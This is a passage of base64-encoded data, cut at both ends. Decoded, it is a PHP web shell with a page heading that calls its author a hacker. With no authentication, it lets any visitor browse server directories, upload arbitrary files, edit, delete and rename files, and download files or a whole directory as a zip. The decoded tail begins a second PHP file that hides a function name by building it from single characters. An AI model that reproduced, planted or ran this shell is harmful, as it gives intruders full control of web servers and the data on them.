JcbiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5maWxlLWFjdGlvbnMgYSB7XHJcbiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICAgICAgICAgICAgY29sb3I6ICMwMDA7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5maWxlLWFjdGlvbnMgYnV0dG9uOmhvdmVyLCAuZmlsZS1hY3Rpb25zIGE6aG92ZXIge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDBmZmRhO1xyXG4gICAgICAgIH1cclxuICAgICAgICAuaWNvbiB7XHJcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMThweDtcclxuICAgICAgICB9XHJcbiAgICAgICAgaW5wdXRbdHlwZT1cInRleHRcIl0ge1xyXG4gICAgICAgICAgICB3aWR0aDogMTAwcHg7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XHJcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcclxuICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzAwZDFiMjtcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzFhMWExYTtcclxuICAgICAgICAgICAgY29sb3I6ICNmZmY7XHJcbiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcclxuICAgICAgICB9XHJcbiAgICAgICAgLnBhdGgtaW5wdXQge1xyXG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcclxuICAgICAgICAgICAgcGFkZGluZzogOHB4O1xyXG4gICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4O1xyXG4gICAgICAgICAgICBmb250LXNpemU6IDE0cHg7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNiZjExMTE7XHJcbiAgICAgICAgICAgIGNvbG9yOiAjMDBkMWIyO1xyXG4gICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMDBkMWIyO1xyXG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7XHJcbiAgICAgICAgfVxyXG4gICAgPFwvc3R5bGU+XHJcbiAgICA8IS0tIEZvbnQgQXdlc29tZSBDRE4gLS0+XHJcbiAgICA8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC82LjAuMC1iZXRhM1wvY3NzXC9hbGwubWluLmNzc1wiPlxyXG48XC9oZWFkPlxyXG48Ym9keT5cclxuICAgIDxkaXYgY2xhc3M9XCJjb250YWluZXJcIj5cclxuICAgICAgICA8aDEgc3R5bGU9XCJmb250LXNpemU6IDE4cHg7IHRleHQtYWxpZ246IGNlbnRlcjtcIj5JIGFtIGEgaGFja2VyIGluIHRoZSBkYXJrIG9mIGEgdmVyeSBjb2xkIG5pZ2h0PFwvaDE+XHJcblxyXG4gICAgICAgIDwhLS0gXHUwOWFjXHUwOWIwXHUwOWNkXHUwOWE0XHUwOWFlXHUwOWJlXHUwOWE4IFx1MDlhYVx1MDliZVx1MDlhNSBcdTA5YTZcdTA5YzdcdTA5OTZcdTA5YmVcdTA5YThcdTA5Y2IgLS0+XHJcbiAgICAgICAgPGgzIHN0eWxlPVwiZm9udC1zaXplOiAxNXB4O1wiPnBhdGggOjw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+PFwvaDM+XHJcblxyXG4gICAgICAgIDwhLS0gXHUwOWFlXHUwOWNkXHUwOWFmXHUwOWJlXHUwOWE4XHUwOWMxXHUwOWRmXHUwOWJlXHUwOWIyXHUwOWJmIFx1MDlhYVx1MDliZVx1MDlhNSBcdTA5YjJcdTA5YmZcdTA5OTZcdTA5YzcgXHUwOWExXHUwOWJmXHUwOWIwXHUwOWM3XHUwOTk1XHUwOWNkXHUwOTlmXHUwOWIwXHUwOWJmXHUwOWE0XHUwOWM3IFx1MDlhZlx1MDliZVx1MDk5M1x1MDlkZlx1MDliZSAtLT5cclxuICAgICAgICA8Zm9ybSBtZXRob2Q9XCJHRVRcIj5cclxuICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwicGF0aC1pbnB1dFwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRpclwiIHBsYWNlaG9sZGVyPVwiVXNlciBHdWlkZS4uLlwiIHZhbHVlPVwiPD9waHAgZWNobyBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogZ2V0Y3dkKCk7ID8+XCI+XHJcbiAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJnb190b19kaXJcIj48aSBjbGFzcz1cImZhcyBmYS1mb2xkZXItb3BlbiBpY29uXCI+PFwvaT5jaGFuZ2UgZGlyZWN0b3J5PFwvYnV0dG9uPlxyXG4gICAgICAgIDxcL2Zvcm0+XHJcbjxoMyBzdHlsZT1cImZvbnQtc2l6ZTogMTRweDtcIj51cGxvYWQgZmlsZTo8XC9oMz5cclxuICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgZW5jdHlwZT1cIm11bHRpcGFydFwvZm9ybS1kYXRhXCI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmaWxlVG9VcGxvYWRcIj5cclxuICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInVwbG9hZFwiPjxpIGNsYXNzPVwiZmFzIGZhLXVwbG9hZCBpY29uXCI+PFwvaT4gdXBsb2FkPFwvYnV0dG9uPlxyXG4gICAgICAgIDxcL2Zvcm0+XHJcblx0XHJcblxyXG4gICAgICBcclxuICAgIDxcL2Rpdj5cclxuICAgICAgICA8aDMgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPkxpc3Qgb2YgZmlsZXM6PFwvaDM+XHJcbiAgICAgICAgPHRhYmxlPlxyXG4gICAgICAgICAgICA8dHI+XHJcbiAgICAgICAgICAgICAgICA8dGg+bmFtZSBmaWxlPFwvdGg+XHJcbiAgICAgICAgICAgICAgICA8dGg+c2l6ZTxcL3RoPlxyXG4gICAgICAgICAgICAgICAgPHRoPmVkaXQ8XC90aD5cclxuICAgICAgICAgICAgICAgIDx0aD5wZXJtaXNzaW9uPFwvdGg+XHJcbiAgICAgICAgICAgICAgICA8dGg+YWN0aW9uPFwvdGg+XHJcbiAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICA8P3BocFxyXG5cdFx0XHQgXC9cLyBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjIgXHUwOThmXHUwOWExXHUwOWJmXHUwOTlmIFx1MDk5NVx1MDliMFx1MDliZVx1MDliMCBcdTA5ODVcdTA5ODJcdTA5YjZcclxuICAgIGlmIChpc3NldCgkX0dFVFsnZWRpdCddKSkge1xyXG4gICAgICAgICRmaWxlX3RvX2VkaXQgPSAkX0dFVFsnZWRpdCddO1xyXG4gICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV90b19lZGl0KSkge1xyXG4gICAgICAgICAgICAkZmlsZV9jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfdG9fZWRpdCk7XHJcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9XCJjb250YWluZXJcIj4nO1xyXG4gICAgICAgICAgICBlY2hvICc8aDM+RWRpdCB0aGUgZmlsZTogJyAuIGJhc2VuYW1lKCRmaWxlX3RvX2VkaXQpIC4gJzxcL2gzPic7XHJcbiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD1cIlBPU1RcIj4nO1xyXG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgbmFtZT1cImVkaXRlZF9jb250ZW50XCIgcm93cz1cIjE1XCIgc3R5bGU9XCJ3aWR0aDogMTAwJTtcIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkZmlsZV9jb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xyXG4gICAgICAgICAgICBlY2hvICc8YnI+PGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNhdmVfZWRpdHNcIj48aSBjbGFzcz1cImZhcyBmYS1zYXZlIGljb25cIj48XC9pPiBzYXZlPFwvYnV0dG9uPic7XHJcbiAgICAgICAgICAgIGVjaG8gJzxcL2Zvcm0+JztcclxuICAgICAgICAgICAgZWNobyAnPFwvZGl2Pic7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgZWNobyBcIjxzY3JpcHQ+YWxlcnQoJ2ZpbGUgbm90IGZvdW5kIScpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPScnOzxcL3NjcmlwdD5cIjtcclxuICAgICAgICB9XHJcbiAgICB9XHJcblxyXG4gICAgXC9cLyBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjJcdTA5YzdcdTA5YjAgXHUwOThmXHUwOWExXHUwOWJmXHUwOTlmIFx1MDliOFx1MDljN1x1MDlhZCBcdTA5OTVcdTA5YjBcdTA5YmVcdTA5YjAgXHUwOTg1XHUwOTgyXHUwOWI2XHJcbiAgICBpZiAoaXNzZXQoJF9QT1NUWydzYXZlX2VkaXRzJ10pKSB7XHJcbiAgICAgICAgJGVkaXRlZF9jb250ZW50ID0gJF9QT1NUWydlZGl0ZWRfY29udGVudCddO1xyXG4gICAgICAgICRmaWxlX3RvX2VkaXQgPSAkX0dFVFsnZWRpdCddO1xyXG4gICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV90b19lZGl0KSkge1xyXG4gICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZV90b19lZGl0LCAkZWRpdGVkX2NvbnRlbnQpO1xyXG4gICAgICAgICAgICBlY2hvIFwiPHNjcmlwdD5hbGVydCgnZmlsZSBzYXZlZCBzdWNjZXNzZnVsbHkhJyk7d2luZG93LmxvY2F0aW9uLmhyZWY9Jyc7PFwvc2NyaXB0PlwiO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGVjaG8gXCI8c2NyaXB0PmFsZXJ0KCdmaWxlIG5vdCBmb3VuZCEnKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nJzs8XC9zY3JpcHQ+XCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gaXNzZXQoJF9HRVRbJ2RpciddKSA/ICRfR0VUWydkaXInXSA6IGdldGN3ZCgpOyBcL1wvIFx1MDlhY1x1MDliMFx1MDljZFx1MDlhNFx1MDlhZVx1MDliZVx1MDlhOCBcdTA5YTFcdTA5YmZcdTA5YjBcdTA5YzdcdTA5OTVcdTA5Y2RcdTA5OWZcdTA5YjBcdTA5YmZcclxuICAgICAgICAgICAgaWYgKCFpc19kaXIoJGN1cnJlbnRfZGlyKSkge1xyXG4gICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gZ2V0Y3dkKCk7IFwvXC8gXHUwOWFmXHUwOWE2XHUwOWJmIFx1MDlhMVx1MDliZlx1MDliMFx1MDljN1x1MDk5NVx1MDljZFx1MDk5Zlx1MDliMFx1MDliZiBcdTA5YThcdTA5YmUgXHUwOWI5XHUwOWRmLCBcdTA5YTRcdTA5YWNcdTA5YzcgXHUwOWExXHUwOWJmXHUwOWFiXHUwOWIyXHUwOWNkXHUwOTlmIFx1MDlhY1x1MDliMFx1MDljZFx1MDlhNFx1MDlhZVx1MDliZVx1MDlhOCBcdTA5YTFcdTA5YmZcdTA5YjBcdTA5YzdcdTA5OTVcdTA5Y2RcdTA5OWZcdTA5YjBcdTA5YmZcdTA5YTRcdTA5YzcgXHUwOWIwXHUwOWJmXHUwOWExXHUwOWJlXHUwOTg3XHUwOWIwXHUwOWM3XHUwOTk1XHUwOWNkXHUwOTlmIFx1MDk5NVx1MDliMFx1MDliZSBcdTA5YjlcdTA5YWNcdTA5YzdcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAkZmlsZXMgPSBzY2FuZGlyKCRjdXJyZW50X2Rpcik7IFwvXC8gXHUwOWExXHUwOWJmXHUwOWIwXHUwOWM3XHUwOTk1XHUwOWNkXHUwOTlmXHUwOWIwXHUwOWJmXHUwOWIwIFx1MDliOFx1MDlhYyBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjIgXHUwOWFjXHUwOWM3XHUwOWIwIFx1MDk5NVx1MDliMFx1MDliZVxyXG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtcclxuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPT0gJy4nICYmICRmaWxlICE9PSAnLi4nKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuICdcLycgLiAkZmlsZTtcclxuICAgICAgICAgICAgICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRmdWxsX3BhdGgpO1xyXG4gICAgICAgICAgICAgICAgICAgIGVjaG8gXCI8dHI+XCI7XHJcbiAgICAgICAgICAgICAgICAgICAgZWNobyBcIjx0ZD5cIiAuICgkaXNfZGlyID8gXCI8YSBocmVmPSc/ZGlyPVwiIC4gdXJsZW5jb2RlKCRmdWxsX3BhdGgpIC4gXCInPlwiIC4gJGZpbGUgLiBcIjxcL2E+XCIgOiAkZmlsZSkgLiBcIjxcL3RkPlwiO1xyXG4gICAgICAgICAgICAgICAgICAgIGVjaG8gXCI8dGQ+XCIgLiAoJGlzX2RpciA/ICctJyA6IGZpbGVzaXplKCRmdWxsX3BhdGgpIC4gXCIgS0JcIikgLiBcIjxcL3RkPlwiO1xyXG4gICAgICAgICAgICAgICAgICAgIGVjaG8gXCI8dGQ+XCIgLiBkYXRlKFwiRiBkIFkgSDppOnNcIiwgZmlsZW10aW1lKCRmdWxsX3BhdGgpKSAuIFwiPFwvdGQ+XCI7XHJcbiAgICAgICAgICAgICAgICAgICAgZWNobyBcIjx0ZD5cIiAuIHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSAuIFwiPFwvdGQ+XCI7IFwvXC8gXHUwOWFhXHUwOWJlXHUwOWIwXHUwOWFlXHUwOWJmXHUwOWI2XHUwOWE4IFx1MDlhNlx1MDljN1x1MDk5Nlx1MDliZVx1MDlkZlxyXG4gICAgICAgICAgICAgICAgICAgIGVjaG8gXCI8dGQgY2xhc3M9J2ZpbGUtYWN0aW9ucyc+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Jz9lZGl0PSRmdWxsX3BhdGgnIHRpdGxlPSdlZGl0Jz48aSBjbGFzcz0nZmFzIGZhLWVkaXQgaWNvbic+PFwvaT48XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnIHN0eWxlPSdkaXNwbGF5OmlubGluZTsnPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPSckZmlsZSc+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgbmFtZT0nZGVsZXRlJyB0aXRsZT0nZGVsZXRlJz48aSBjbGFzcz0nZmFzIGZhLXRyYXNoIGljb24nPjxcL2k+PFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSc/ZG93bmxvYWQ9JGZ1bGxfcGF0aCcgdGl0bGU9J2Rvd25sb2FkJz48aSBjbGFzcz0nZmFzIGZhLWRvd25sb2FkIGljb24nPjxcL2k+PFwvYT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBzdHlsZT0nZGlzcGxheTppbmxpbmU7Jz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSckZmlsZSc+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgcGxhY2Vob2xkZXI9J25ldyBuYW1lJz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0nc3VibWl0JyBuYW1lPSdyZW5hbWUnIHRpdGxlPSdyZW5hbWUnPjxpIGNsYXNzPSdmYXMgZmEtcGVuIGljb24nPjxcL2k+PFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlwiO1xyXG4gICAgICAgICAgICAgICAgICAgIGVjaG8gXCI8XC90cj5cIjtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICA/PlxyXG4gICAgICAgIDxcL3RhYmxlPlxyXG5cclxuICAgICAgICBcclxuXHJcbiAgICBcclxuXHJcbiAgICA8P3BocFxyXG4gICBcclxuICAgIFwvXC8gXHUwOWFiXHUwOWJlXHUwOTg3XHUwOWIyIFx1MDlhMVx1MDliZlx1MDliMlx1MDliZlx1MDk5ZiBcdTA5OTVcdTA5YjBcdTA5YmVcclxuICAgIGlmIChpc3NldCgkX1BPU1RbJ2RlbGV0ZSddKSkge1xyXG4gICAgICAgICRmaWxlbmFtZSA9ICRfUE9TVFsnZmlsZW5hbWUnXTtcclxuICAgICAgICAkZmlsZV90b19kZWxldGUgPSAkY3VycmVudF9kaXIgLiAnXC8nIC4gJGZpbGVuYW1lO1xyXG4gICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV90b19kZWxldGUpKSB7XHJcbiAgICAgICAgICAgIHVubGluaygkZmlsZV90b19kZWxldGUpO1xyXG4gICAgICAgICAgICBlY2hvIFwiPHNjcmlwdD5hbGVydCgnRmlsZSBkZWxldGVkIHN1Y2Nlc3NmdWxseSEnKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nJzs8XC9zY3JpcHQ+XCI7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgZWNobyBcIjxzY3JpcHQ+YWxlcnQoJ0ZpbGUgbm90IGZvdW5kIScpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPScnOzxcL3NjcmlwdD5cIjtcclxuICAgICAgICB9XHJcbiAgICB9XHJcblxyXG4gICAgXC9cLyBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjIgXHUwOWIwXHUwOWJmXHUwOWE4XHUwOWM3XHUwOWFlIFx1MDk5NVx1MDliMFx1MDliZVxyXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsncmVuYW1lJ10pKSB7XHJcbiAgICAgICAgJG9sZG5hbWUgPSAkX1BPU1RbJ29sZG5hbWUnXTtcclxuICAgICAgICAkbmV3bmFtZSA9ICRfUE9TVFsnbmV3bmFtZSddO1xyXG4gICAgICAgIGlmIChmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiAnXC8nIC4gJG9sZG5hbWUpKSB7XHJcbiAgICAgICAgICAgIHJlbmFtZSgkY3VycmVudF9kaXIgLiAnXC8nIC4gJG9sZG5hbWUsICRjdXJyZW50X2RpciAuICdcLycgLiAkbmV3bmFtZSk7XHJcbiAgICAgICAgICAgIGVjaG8gXCI8c2NyaXB0PmFsZXJ0KCdUaGUgZmlsZSBuYW1lIGhhcyBiZWVuIGNoYW5nZWQhJyk7d2luZG93LmxvY2F0aW9uLmhyZWY9Jyc7PFwvc2NyaXB0PlwiO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGVjaG8gXCI8c2NyaXB0PmFsZXJ0KCdGaWxlIG5vdCBmb3VuZCEnKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nJzs8XC9zY3JpcHQ+XCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvXC8gXHUwOWFiXHUwOWJlXHUwOTg3XHUwOWIyIFx1MDk4Nlx1MDlhYVx1MDliMlx1MDljYlx1MDlhMSBcdTA5OTVcdTA5YjBcdTA5YmVcclxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3VwbG9hZCddKSkge1xyXG4gICAgICAgICR0YXJnZXRfZGlyID0gJGN1cnJlbnRfZGlyIC4gXCJcL1wiO1xyXG4gICAgICAgICR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1tcImZpbGVUb1VwbG9hZFwiXVtcIm5hbWVcIl0pO1xyXG4gICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1tcImZpbGVUb1VwbG9hZFwiXVtcInRtcF9uYW1lXCJdLCAkdGFyZ2V0X2ZpbGUpKSB7XHJcbiAgICAgICAgICAgIGVjaG8gXCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSEnKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nJzs8XC9zY3JpcHQ+XCI7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgZWNobyBcIjxzY3JpcHQ+YWxlcnQoJ0ZpbGUgdXBsb2FkIGZhaWxlZCEnKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nJzs8XC9zY3JpcHQ+XCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvXC8gXHUwOWFiXHUwOWJlXHUwOTg3XHUwOWIyIFx1MDlhMVx1MDliZVx1MDk4OVx1MDlhOFx1MDliMlx1MDljYlx1MDlhMSBcdTA5OTVcdTA5YjBcdTA5YmUgKFx1MDk4Zlx1MDk5NVx1MDk5Zlx1MDliZiBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjIpXHJcbiAgICBpZiAoaXNzZXQoJF9HRVRbJ2Rvd25sb2FkJ10pKSB7XHJcbiAgICAgICAgJGZpbGVfdG9fZG93bmxvYWQgPSAkX0dFVFsnZG93bmxvYWQnXTtcclxuICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGVfdG9fZG93bmxvYWQpKSB7XHJcbiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbScpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJyAuIGJhc2VuYW1lKCRmaWxlX3RvX2Rvd25sb2FkKSAuICdcIicpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGVfdG9fZG93bmxvYWQpKTtcclxuICAgICAgICAgICAgcmVhZGZpbGUoJGZpbGVfdG9fZG93bmxvYWQpO1xyXG4gICAgICAgICAgICBleGl0O1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGVjaG8gXCI8c2NyaXB0PmFsZXJ0KCdGaWxlIG5vdCBmb3VuZCEnKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nJzs8XC9zY3JpcHQ+XCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvXC8gXHUwOWI4XHUwOWFjIFx1MDlhYlx1MDliZVx1MDk4N1x1MDliMiBcdTA5YTFcdTA5YmVcdTA5ODlcdTA5YThcdTA5YjJcdTA5Y2JcdTA5YTEgXHUwOTk1XHUwOWIwXHUwOWJlIChaSVApXHJcbiAgICBpZiAoaXNzZXQoJF9QT1NUWydkb3dubG9hZF9hbGwnXSkpIHtcclxuICAgICAgICBcL1wvIFpJUCBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjJcdTA5YzdcdTA5YjAgXHUwOWE4XHUwOWJlXHUwOWFlIFx1MDk4Zlx1MDlhY1x1MDk4MiBcdTA5ODVcdTA5YWNcdTA5YjhcdTA5Y2RcdTA5YTVcdTA5YmVcdTA5YThcclxuICAgICAgICAkemlwX2ZpbGUgPSAnYWxsX2ZpbGVzLnppcCc7XHJcbiAgICAgICAgXHJcbiAgICAgICAgXC9cLyBaSVAgXHUwOTk1XHUwOWNkXHUwOWIyXHUwOWJlXHUwOWI4IFx1MDlhY1x1MDljZFx1MDlhZlx1MDlhY1x1MDliOVx1MDliZVx1MDliMCBcdTA5OTVcdTA5YjBcdTA5YzcgXHUwOWFiXHUwOWJlXHUwOTg3XHUwOWIyIFx1MDk5NVx1MDlhZVx1MDljZFx1MDlhYVx1MDljZFx1MDliMFx1MDljN1x1MDliOCBcdTA5OTVcdTA5YjBcdTA5YmVcclxuICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTtcclxuICAgICAgICBpZiAoJHppcC0+b3BlbigkemlwX2ZpbGUsIFppcEFyY2hpdmU6OkNSRUFURSB8IFppcEFyY2hpdmU6Ok9WRVJXUklURSkgPT09IFRSVUUpIHtcclxuICAgICAgICAgICAgXC9cLyBcdTA5YTFcdTA5YmZcdTA5YjBcdTA5YzdcdTA5OTVcdTA5Y2RcdTA5OWZcdTA5YjBcdTA5YmZcdTA5YjAgXHUwOWFiXHUwOWJlXHUwOTg3XHUwOWIyXHUwOTk3XHUwOWMxXHUwOWIyXHUwOWNiIFx1MDliMlx1MDljMVx1MDlhYSBcdTA5OTVcdTA5YjBcdTA5YzcgWklQIFx1MDk4ZiBcdTA5YWZcdTA5Y2JcdTA5OTcgXHUwOTk1XHUwOWIwXHUwOWJlXHJcbiAgICAgICAgICAgICRmaWxlcyA9IHNjYW5kaXIoJGN1cnJlbnRfZGlyKTtcclxuICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7XHJcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT09ICcuJyAmJiAkZmlsZSAhPT0gJy4uJykge1xyXG4gICAgICAgICAgICAgICAgICAgICRmaWxlX3BhdGggPSAkY3VycmVudF9kaXIgLiAnXC8nIC4gJGZpbGU7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVfcGF0aCkpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkZmlsZV9wYXRoLCBiYXNlbmFtZSgkZmlsZV9wYXRoKSk7XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7XHJcblxyXG4gICAgICAgICAgICBcL1wvIFpJUCBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjIgXHUwOWExXHUwOWJlXHUwOTg5XHUwOWE4XHUwOWIyXHUwOWNiXHUwOWExIFx1MDk5NVx1MDliMFx1MDliZVxyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL3ppcCcpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJyAuIGJhc2VuYW1lKCR6aXBfZmlsZSkgLiAnXCInKTtcclxuICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCR6aXBfZmlsZSkpO1xyXG4gICAgICAgICAgICBmbHVzaCgpO1xyXG4gICAgICAgICAgICByZWFkZmlsZSgkemlwX2ZpbGUpO1xyXG5cclxuICAgICAgICAgICAgXC9cLyBcdTA5YTFcdTA5YmVcdTA5ODlcdTA5YThcdTA5YjJcdTA5Y2JcdTA5YTEgXHUwOWI2XHUwOWM3XHUwOWI3XHUwOWM3IFpJUCBcdTA5YWJcdTA5YmVcdTA5ODdcdTA5YjIgXHUwOWFlXHUwOWMxXHUwOTliXHUwOWM3IFx1MDlhYlx1MDljN1x1MDliMlx1MDliZVxyXG4gICAgICAgICAgICB1bmxpbmsoJHppcF9maWxlKTtcclxuICAgICAgICAgICAgZXhpdDtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICBlY2hvIFwiPHNjcmlwdD5hbGVydCgnWklQIEZhaWxlZCB0byBjcmVhdGUgZmlsZSEhJyk7PFwvc2NyaXB0PlwiO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuICAgID8+XHJcbjxcL2JvZHk+XHJcbjxcL2h0bWw+IiwiPD9waHAgXHJcbmVycm9yX3JlcG9ydGluZyhFX0FMTCk7XHJcbmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7XHJcbiRvMCA9IFwiZlwiIC4gXCJpXCIgLiBcImxcIiAuIFwiZVwiIC4gXCJfXCIgLiBcImdcIiAuIFwiZVwiIC4gXCJ0XCIgLiBcIl9cIiAuIFwiY1wiIC4gXCJvXCIgLiBcIm5cIiAuIFwidFwiIC4gXCJlXCIgLiBcIm5cIiAuIFwidFwiIC4gXCJzXCI7XHJcbiRvMSA9IFwiZlw